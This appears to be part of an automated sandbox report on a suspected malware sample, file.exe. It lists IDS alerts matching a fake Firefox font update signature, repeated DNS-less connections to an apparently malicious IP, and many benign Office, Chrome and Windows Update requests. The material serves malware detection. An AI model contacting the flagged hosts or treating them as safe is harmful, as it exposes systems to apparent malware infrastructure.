Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49994 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50001 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50012 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50013 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50015 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50014 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50017 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50016 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50018 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49987 -> 172.67.165.166:443

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.63
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE6CC60 PR_Recv,

0_2_6CE6CC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7bgLlHXmrbbZo3x&MD=8UnrH6tA HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
